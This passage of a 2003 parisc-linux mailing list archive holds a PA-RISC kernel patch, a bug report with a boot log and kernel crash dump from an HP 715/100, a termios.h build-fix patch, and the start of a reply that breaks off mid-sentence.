+	release_resource(temp_res);
+	temp_res = res->parent;
+	release_resource(res);
+	res->start = start;
+	res->end = end;
+
+	/* This could be caused by some sort of race.  Basically, if
+	 * this tripped something stole the region we just reserved
+	 * and then released to check for expansion */
+	BUG_ON(request_resource(temp_res, res) != 0);
+
+	return 0;
+}
+
+static void expand_ioc_area(struct resource *parent, struct ioc *ioc,
+			    unsigned long size,	unsigned long min,
+			    unsigned long max, unsigned long align)
+{
+	if(ioc == NULL)
+		/* no IOC, so nothing to expand */
+		return;
+
+	if (expand_resource(parent, size, align) != 0) {
+		printk(KERN_ERR "Unable to expand %s window by 0x%lx\n",
+		       parent->name, size);
+		return;
+	}
+
+	/* OK, we have the memory, now expand the window */
+	if (parent == &ioc->mmio_region[0]) {
+		__raw_writel(((parent->start)>>16) | 0xffff0000,
+			     (unsigned long)&(ioc->ioc_hpa->io_io_low));
+		__raw_writel(((parent->end)>>16) | 0xffff0000,
+			     (unsigned long)&(ioc->ioc_hpa->io_io_high));
+	} else if (parent == &ioc->mmio_region[1]) {
+		__raw_writel(((parent->start)>>16) | 0xffff0000,
+			     (unsigned long)&(ioc->ioc_hpa->io_io_low_hv));
+		__raw_writel(((parent->end)>>16) | 0xffff0000,
+			     (unsigned long)&(ioc->ioc_hpa->io_io_high_hv));
+	} else {
+		/* This should be impossible.  It means
+		 * expand_ioc_area got called with a resource that
+		 * didn't belong to the ioc
+		 */
+		BUG();
+	}
 }
 
 static struct resource *ccio_get_resource(struct ioc* ioc,
@@ -1574,7 +1635,7 @@ int ccio_allocate_resource(const struct 
 			alignf_data))
 		return 0;
 
-	expand_ioc_area(ioc, size, min, max, align);
+	expand_ioc_area(parent, ioc, size, min, max, align);
 	return allocate_resource(parent, res, size, min, max, align, alignf,
 			alignf_data);
 }
Index: dino.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/dino.c,v
retrieving revision 1.3
diff -u -p -r1.3 dino.c
--- dino.c	3 Sep 2003 16:51:12 -0000	1.3
+++ dino.c	3 Sep 2003 19:59:36 -0000
@@ -480,7 +480,18 @@ dino_card_setup(struct pci_bus *bus, uns
 				(unsigned long) 0xfffffffff0000000UL | _8MB,
 				0xffffffffffffffffUL &~ _8MB, _8MB,
 				NULL, NULL) < 0) {
-		printk(KERN_WARNING "Dino: Failed to allocate memory region\n");
+		struct list_head *ln, *tmp_ln;
+
+		printk(KERN_ERR "Dino: cannot attach bus %s\n",
+		       bus->dev->bus_id);
+		/* kill the bus, we can't do anything with it */
+		list_for_each_safe(ln, tmp_ln, &bus->devices) {
+			struct pci_dev *dev = pci_dev_b(ln);
+
+			list_del(&dev->global_list);
+			list_del(&dev->bus_list);
+		}
+			
 		return;
 	}
 	bus->resource[1] = res;
@@ -526,7 +537,6 @@ dino_card_fixup(struct pci_dev *dev)
 	** The additional "-1" adjusts for skewing the IRQ<->slot.
 	*/
 	dino_cfg_read(dev->bus, dev->devfn, PCI_INTERRUPT_PIN, 1, &irq_pin); 
-	printk("DINO CONFIG READ GIVES irq_pin %d\n", irq_pin);
 	dev->irq = (irq_pin + PCI_SLOT(dev->devfn) - 1) % 4 ;
 
 	/* Shouldn't really need to do this but it's in case someone tries



From - Thu Nov 08 21:29:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel crash with 2.6.0-test4-pa8 on 715/100
Date: Thu, 04 Sep 2003 13:57:31 +0200
Lines: 375
Approved: news@gmane.org
Message-ID: <3F5728AB.3040501@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------030807030904080702090800"
X-Trace: ger.gmane.org 1416622754 30672 80.91.229.3 (22 Nov 2014 02:19:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 06:12:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3DDC7482D
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 06:12:22 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157024025.dialin.heagmedianet.de [213.157.24.25])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h84BvPXc004327
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Thu, 4 Sep 2003 13:59:18 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
X-MailScanner: Found to be clean
X-MailScanner-SpamCheck: not spam, SpamAssassin (score=-0.1, required 5,
	USER_AGENT_MOZILLA_UA, X_ACCEPT_LANG)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19438

This is a multi-part message in MIME format.
--------------030807030904080702090800
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit

Hi there,

I tried to boot 2.6.0-test4-pa8 on my HP 715/100, but it crashed right 
after the message "Freeing unused kernel memory...". I'm using debian 
testing with devfs and gcc-3.3.1.
I think the pb is devfs, so I will try to boot a kernel without it.
Bootlog is attached, Config, System.map is here: 
http://rscholz.bluehash.de/parisc

Greetings,
    Ruediger

--------------030807030904080702090800
Content-Type: text/plain;
 name="gandalf-2.6.0-test4-pa8.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="gandalf-2.6.0-test4-pa8.log"



----------------------------------------------------------------------------
BootRom Version    1.6  
Memory Size:  128 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1994, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.
----------------------------------------------------------------------------
Command                                Description
-------                                -----------
Auto [boot|search] [on|off]            Set/show auto mode
Boot [pri|alt [isl]]                   Boot from primary or alternate path
Boot [scsi|eisa.<slot>[.<addr>]] [isl] Boot from SCSI or EISA
Boot lan[.<addr>] [install] [isl]      Boot from LAN
Chassis [on|off]                       Set/show chassis codes display mode
DefaultSS                              Reboot and set EEPROM to default values
Diagnostic [on|off]                    Set/show diagnostic boot mode
Fastboot [on|off]                      Set/show fast boot mode
Help                                   Show this command menu
Information                            Show system information
LanAddress                             Show LAN station addresses
Monitor [<DEV>[.<type>]]               Set/show graphics monitor type
                                       (<DEV>=graphics|graphics_<1|2>)
Path [pri|alt [<DEV>[.<addr>]]]        Set/show boot source path
                                       (<DEV>=lan|scsi|eisa.<slot>)
Path [console [<DEV>[.<parm>]]]        Set/show boot console path
                                       (<DEV>=<RS232>|<GRAPH>
                                        <RS232>=rs232|rs232_2
                                        <parm>=<baud>.<length>.<parity>
                                        <GRAPH>=graphics|graphics_<1|2>
                                        <parm>=<monitor>)
Path [keyboard [hil|ps2]]              Set/show boot keyboard path
Pim [hpmc|toc|lpmc]                    Show PIM info
Search [ipl] [scsi|eisa]               Show potential boot devices
Search [ipl] [lan [install]]           Show potential boot LAN devices
Secure [on|off]                        Set/show security mode
----------------------------------------------------------------------------
BOOT_ADMIN> bo pri ipl





Attempting to boot.
Loading Initial Program Loader

IPL successfully loaded

Booting
palo ipl 1.2 root@b2000 Tue Jan 14 13:13:07 MST 2003

Partition Start(MB) End(MB) Id Type

1               1      22   f0 Palo

2              23      64   83 ext2

3              65     194   82 swap

4             195    2046   83 ext2

PALO(F0) partition contains:
    0/vmlinux32 3223985 bytes @ 0x48000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).Current command line:
2/vmlinux root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102
 0: 2/vmlinux
 1: root=/dev/sda4 2: HOME=/
 3: devfs=mount
 4: console=ttyS0
 5: TERM=vt102

Edit which field?
(or 'b' to boot with this command line)? 0
2/vmlinux-2.6.0
Current command line:
2/vmlinux-2.6.0 root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102
 0: 2/vmlinux-2.6.0
 1: root=/dev/sda4
 2: HOME=/
 3: devfs=mount
 4: console=ttyS0
 5: TERM=vt102

Edit which field?
(or 'b' to boot with this command line)? b

Command line for kernel: 'root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.0'
Selected kernel: /vmlinux-2.6.0 from partition 2
ELF32 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 2214104 mediaptr 0x1000
Segment 1 load 0031e000 size 356536 mediaptr 0x21e000
Segment 2 load 00378000 size 323711 mediaptr 0x276000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.0-test4-pa8 (ruediger@gandalf) (gcc-Version 3.3.1 20030626 (Debian prerelease)) #1 Wed Sep 3 13:23:29 CEST 2003
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 000060b0 00000481 00000000 00000000 77b661a7 00000000 00000004 00000072 00000072
vers  0000000b
model 9000/715
Total Memory: 128 Mb
pagetable_init
On node 0 totalpages: 32768
  DMA zone: 32768 pages, LIFO batch:8
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
Building zonelist for node : 0
Kernel command line: root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.0
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Calibrating delay loop... 99.73 BogoMIPS
Memory: 126480k available
Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
-> /dev
-> /dev/console
-> /root
POSIX conformance testing by UNIFIX
Initializing RT netlink socket
EISA bus registered
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf4000000 [0], versions 0x4, 0x0, 0x77
2. Mirage GSC Builtin Graphics (10) at 0xf8000000 [1], versions 0x13, 0x0, 0x85
3. Mirage Core BA (11) at 0xf0100000 [2], versions 0x29, 0x0, 0x81
4. Mirage Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x29, 0x0, 0x82
5. Mirage Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x29, 0x0, 0x8a
6. Mirage Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x29, 0x0, 0x8c
7. Mirage Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x29, 0x0, 0x74
8. Mirage Audio (10) at 0xf0104000 [2/0/8], versions 0x29, 0x0, 0x7b
9. Mirage Core PC Floppy (10) at 0xf010a000 [2/0/10], versions 0x29, 0x0, 0x83
10. Mirage Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x29, 0x0, 0x84
11. Mirage Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x29, 0x0, 0x84
12. Mirage Wax BA (11) at 0xf0200000 [5], versions 0x13, 0x0, 0x8e
13. Mirage 100 Wax HIL (10) at 0xf0201000 [5/0/1], versions 0x13, 0x0, 0x73
14. Mirage Wax RS-232 (10) at 0xf0202000 [5/0/2], versions 0x13, 0x0, 0x8c
15. Mirage 100 (0) at 0xfffbe000 [8], versions 0x60b, 0x0, 0x4
16. Memory (1) at 0xfffbf000 [9], versions 0x4b, 0x0, 0x9
CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz
Lasi version 0 at 0xf0100000 found.
LED display at f00e0000 registered
Wax at 0xf0200000 found.
BIO: pool of 256 setup, 14Kb (56 bytes/bio)
biovec pool[0]:   1 bvecs: 244 entries (12 bytes)
biovec pool[1]:   4 bvecs: 244 entries (48 bytes)
biovec pool[2]:  16 bvecs: 244 entries (192 bytes)
biovec pool[3]:  64 bvecs: 244 entries (768 bytes)
biovec pool[4]: 128 bvecs: 122 entries (1536 bytes)
biovec pool[5]: 256 bvecs:  61 entries (3072 bytes)
SCSI subsystem initialized
STI GSC/PCI core graphics driver Version 0.9a
STI byte mode ROM at f4000000, hpa at f4000000
STI id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI device: HPA4071A
STI word mode ROM at f0024000, hpa at f8000000
STI id 2b4ded6d-40a00499, conforms to spec rev. 8.04
STI device: HPA208LC1024
fb0: stifb 1280x1024-8 frame buffer device, id: 2bcb015a, mmio: 0xf4100000
fb1: stifb 1024x768-8 frame buffer device, id: 2b4ded6d, mmio: 0xf8100000
Console: switching to colour frame buffer device 160x64
pty: 256 Unix98 ptys configured
Journalled Block Device driver loaded
devfs: v1.22 (20021013) Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x1
Gecko-style soft power switch enabled.
lp: driver loaded but no devices found
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ IRQ sharing enabled
ttyS0 at MMIO 0xf0105800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xf0202800 (irq = 121) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0107000, IRQ 87
eth0: 82596 at 0xf0107000, 08 00 09 7A DC 08 IRQ 87.
82596.c $Revision: 1.29 $
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2 
scsi0 : LASI SCSI 53c700
Using anticipatory scheduling elevator
scsi0: (2:0) Synchronous at offset 8, period 100ns
  Vendor: PLEXTOR   Model: CD-ROM PX-20TS    Rev: 1.01
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi0: (3:0) Synchronous at offset 8, period 100ns
  Vendor: SEAGATE   Model: ST32430N          Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
scsi0: (3:0) Enabling Tag Command Queuing
SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
SCSI device sda: drive cache: write back
 /dev/scsi/host0/bus0/target3/lun0: p1 p2 p3 p4
Attached scsi disk sda at scsi0, channel 0, id 3, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.12
Attached scsi generic sg0 at scsi0, channel 0, id 2, lun 0,  type 5
Attached scsi generic sg1 at scsi0, channel 0, id 3, lun 0,  type 0
Console: switching to colour frame buffer device 160x64
mice: PS/2 mouse device common for all mice
Keyboard initialization sequence failled
input: PS/2 keyboard port at 0xf0108000 (irq 69) found and attached
input: PS/2 mouse port at 0xf0108100 (irq 69) found and attached
HP SDC: HP SDC at 0xf0201000, IRQ 126 (NMI IRQ 125)
HP SDC: New style SDC
HP SDC: Revision: 1820-4784
HP SDC: TI SN76494 beeper present
HP SDC: OKI MSM-58321 BBRTC present
HP SDC: Spunking the self test register to force PUP on next firmware reset.
oprofile: using timer interrupt.
NET4: Linux TCP/IP 1.0 for NET4.0
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Mounted devfs on /dev
Freeing unused kernel memory: 320k freed

Stack Dump:
 10558758:  10558758 0000000e 10558340 10320010 
 10558748:  10378fb8 00000001 00000000 00000000 
 10558738:  00000000 00007b94 00000297 10133bd0 
 10558728:  00000000 00000000 0000003a 000001db 
 10558718:  10558340 10335810 00000000 105583c0 
 10558708:  0000001a 00000000 00000b98 00000000 
 105586f8:  10592288 00000050 105586d4 10106318 
 105586e8:  103f0aec ffffffdd 103f0810 103f0810 
 105586d8:  0000000e 105586d0 103f259c 105586c8 
 105586c8:  105586c8 00000001 ffffffff 00000000 
 105586b8:  100df4e0 00000001 10570e00 10127688 
 105586a8:  103f0aec ffffffdd 103f0810 103f0810 
 10558698:  0000000e 1032e088 00000b00 00000008 
 10558688:  00000002 ffffffdd 103f0810 102f7000 
 10558678:  105583a8 00000001 100a4d00 10127424 
 10558668:  10592200 00000000 10592200 10584060 
 10558658:  00000000 00000000 10320080 80000000 
 10558648:  00000000 103ca010 00000002 100de370 
 10558638:  00000000 105993cf 10558614 10107254 
 10558628:  1010d310 00000000 00000000 00000000 
 10558618:  00000000 00000000 10320080 80000000 
 10558608:  00000000 103ca010 00000002 100ad640 
 105585f8:  10558388 100be800 00000001 1010a088 
 105585e8:  00000001 00000001 100a4d00 00000000 
 105585d8:  0000000f 0000190e 103d09b8 0000190e 
 105585c8:  0000192c 103cf810 10558500 100a4d00 
 105585b8:  00000000 105583a8 00000001 1010a068 
 105585a8:  00000000 00000000 00000001 00000001 
 10558598:  0000000f 0000192c 00000b98 00000000 
 10558588:  48930130 0000000e 10320010 00000000 
 10558578:  105678e0 00000000 00000008 101fa024 
 10558568:  101fa020 00000000 00000000 00000000 
 10558558:  00000000 00000000 00000000 00000000 
 10558548:  00000000 00000000 00000000 00000000 
 10558538:  41000000 00000000 40800000 00000000 
 10558528:  40000000 00000000 40000000 7fffffff 
 10558518:  41800000 00000000 40200000 00000000 
 10558508:  40200000 00000000 40300000 00000000 
 105584f8:  41000000 00000000 40800000 7fffffff 
 105584e8:  7fffffff 00000000 41000000 7fffffff 
 105584d8:  7fffffff 00000000 40800000 00000000 
 105584c8:  41000000 7fffffff 7fffffff 00000000 
 105584b8:  00000000 00000010 00000010 00000000 
 105584a8:  41800000 00000000 00000000 00000000 
 10558498:  00000000 ffffffff 7f7fffff ffffffff 
 10558488:  7f7fffff 7fffffff 7fffffff 00000000 
 10558478:  40800000 00000000 00000000 00000000 
 10558468:  00000000 00000000 00000000 00000000 
 10558458:  00000000 00000000 00000000 00000000 
 10558448:  00000000 00000000 000d081f 101fad90 
 10558438:  105583c0 00000005 00000b00 1031e010 
 10558428:  1033c528 00000002 105582cc 00000002 
 10558418:  10110cc0 00000501 00000000 00000001 
 10558408:  00000000 00000002 f000b858 f0000704 
 105583f8:  00000001 105582cc 00000000 10378fb8 
 105583e8:  10320010 103cf810 100b05a0 00000002 
 105583d8:  00000002 00000008 00000b00 1032e088 
 105583c8:  101fa01c 1033c010 0004ff0f 00000000 
 105583b8:  10558340 00000060 00000000 101fa01c 
 105583a8:  003cf6c0 f0105800 003ca380 105ded60 
 10558398:  105e0c60 00000000 105dedcc 105ded60 
 10558388:  105e0c60 17ff57a0 105dedcc f0000704 
 10558378:  1032e088 00000b00 100b5820 00000001 
 10558368:  00000002 100b05a0 103cf810 10320010 

Kernel addresses on the stack:
 [<1011f4cc>] scheduler_tick+0x84/0x454
 [<10106068>] parisc_terminate+0x60/0xb4
 [<10133bd0>] rcu_process_callbacks+0x8c/0xf0
 [<10106318>] handle_interruption+0x25c/0x564
 [<10127688>] tasklet_action+0x7c/0xdc
 [<10127424>] do_softirq+0xf0/0xf8
 [<10107254>] do_cpu_irq_mask+0x88/0xfc
 [<1010a088>] intr_check_sig+0x0/0xc
 [<1010a068>] intr_return+0x0/0x14
 [<101fa024>] init_dev+0x5c/0x4c8
 [<10378fb8>] start_kernel+0x4/0x200
 [<101fa01c>] init_dev+0x54/0x4c8
 [<101fab10>] tty_open+0x90/0x394
 [<10165560>] do_lookup+0xb0/0xc8
 [<10160fe8>] chrdev_open+0xac/0x144
 [<10157eb0>] get_empty_filp+0x60/0x124
 [<101b0f5c>] devfs_open+0xa0/0xd0
 [<101564e4>] dentry_open+0x12c/0x1b0
 [<101563b0>] filp_open+0x68/0x70
 [<10123c2c>] printk+0x140/0x1b4
 [<1015684c>] sys_open+0x70/0xb0
 [<101002b0>] init+0x5c/0x150
 [<10109c5c>] ret_from_kernel_thread+0x1c/0x24


Kernel Fault: Code=26 regs=105583c0 (Addr=00000b98)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 1033c010 101fa01c 1032e088
r04-07  00000b00 00000008 00000002 00000002
r08-11  100b05a0 103cf810 10320010 10378fb8
r12-15  00000000 105582cc 00000001 f0000704
r16-19  f000b858 00000002 00000000 00000001
r20-23  00000000 00000501 10110cc0 00000002
r24-27  105582cc 00000002 1033c528 1031e010
r28-31  00000b00 00000005 105583c0 101fad90
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101fa020 101fa024
 IIR: 48930130    ISR: 00000000  IOR: 00000b98
 CPU:        0   CR30: 10558000 CR31: 1036d000
 ORIG_R28: 105678e0
 IAOQ[0]: init_dev+0x58/0x4c8
 IAOQ[1]: init_dev+0x5c/0x4c8
 RP(r2): init_dev+0x54/0x4c8

--------------030807030904080702090800--



From - Thu Nov 08 21:29:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnaldo Carvalho de Melo <acme@conectiva.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] add MODULE_ALIAS_LDISC to asm-parisc/termios.h
Date: Thu, 4 Sep 2003 10:53:15 -0300
Organization: Conectiva S.A.
Lines: 31
Approved: news@gmane.org
Message-ID: <20030904135315.GB2411__10551.5660522089$1416622755$gmane$org@conectiva.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622755 30676 80.91.229.3 (22 Nov 2014 02:19:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:15 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	parisc-linux@lists.parisc-linux.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Linus Torvalds <torvalds@osdl.org>,
	Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 07:53:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E6D8484B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 07:53:15 -0600 (MDT)
Original-Received: from [200.181.169.84] (helo=brinquendo.conectiva.com.br)
	by orion.netbank.com.br with asmtp (Exim 3.33 #1)
	id 19uufo-0000j0-00; Thu, 04 Sep 2003 11:01:21 -0300
Original-Received: by brinquendo.conectiva.com.br (Postfix, from userid 500)
	id 3A272E723; Thu,  4 Sep 2003 13:53:15 +0000 (UTC)
Mail-Followup-To: Arnaldo Carvalho de Melo <acme@conectiva.com.br>,
	Linus Torvalds <torvalds@osdl.org>,
	Matthew Wilcox <willy@debian.org>,
	Rusty Russell <rusty@rustcorp.com.au>,
	parisc-linux@lists.parisc-linux.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Content-Disposition: inline
X-Url: http://advogato.org/person/acme
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19439

Hi,

	I noticed this one on parisc64 with the latest bk tree:

  CC [M]  drivers/char/n_hdlc.o
drivers/char/n_hdlc.c:985: parse error before numeric constant
drivers/char/n_hdlc.c:985: warning: type defaults to `int' in declaration of `MODULE_ALIAS_LDISC'
drivers/char/n_hdlc.c:985: warning: function declaration isn't a prototype
drivers/char/n_hdlc.c:985: warning: data definition has no type or storage classmake[2]: *** [drivers/char/n_hdlc.o] Error 1
make[1]: *** [drivers/char] Error 2
make: *** [drivers] Error 2

	This patch makes it compile, doing the same thing that was done to
include/asm-i386/termios.h, please see if this is acceptable, if it is I can
provide the same patch for all the other arches.

- Arnaldo

===== include/asm-parisc/termios.h 1.4 vs edited =====
--- 1.4/include/asm-parisc/termios.h	Sat Jul 20 06:52:25 2002
+++ edited/include/asm-parisc/termios.h	Thu Sep  4 13:43:57 2003
@@ -101,6 +101,8 @@
 #define user_termios_to_kernel_termios(k, u) copy_from_user(k, u, sizeof(struct termios))
 #define kernel_termios_to_user_termios(u, k) copy_to_user(u, k, sizeof(struct termios))
 
+#define MODULE_ALIAS_LDISC(ldisc) \
+        MODULE_ALIAS("tty-ldisc-" __stringify(ldisc))
 #endif	/* __KERNEL__ */
 
 #endif	/* _PARISC_TERMIOS_H */


From - Thu Nov 08 21:29:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crash with 2.6.0-test4-pa8 on 715/100
Date: Thu, 4 Sep 2003 15:06:15 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20030904140615.GN18654@parcelfarce.linux.theplanet.co.uk>
References: <3F5728AB.3040501@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622755 30678 80.91.229.3 (22 Nov 2014 02:19:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 08:06:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32749484B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 08:06:22 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19uukZ-0003zM-SZ; Thu, 04 Sep 2003 15:06:15 +0100
Content-Disposition: inline
In-Reply-To: <3F5728AB.3040501@hrzpub.tu-darmstadt.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19440

On Thu, Sep 04, 2003 at 01:57:31PM +0200, Ruediger Scholz wrote:
> I tried to boot 2.6.0-test4-pa8 on my HP 715/100, but it crashed right 
> after the message "Freeing unused kernel memory...". I'm using debian 
> testing with devfs and gcc-3.3.1.
> I think the pb is devfs, so I will try to boot a kernel without it.
> Bootlog is attached, Config, System.map is here: 
> http://rscholz.bluehash.de/parisc

I'm seeing the same thing on my 712 without devfs.  Not sure what the
problem is, and I'm having a hard time getting that box back up as it has
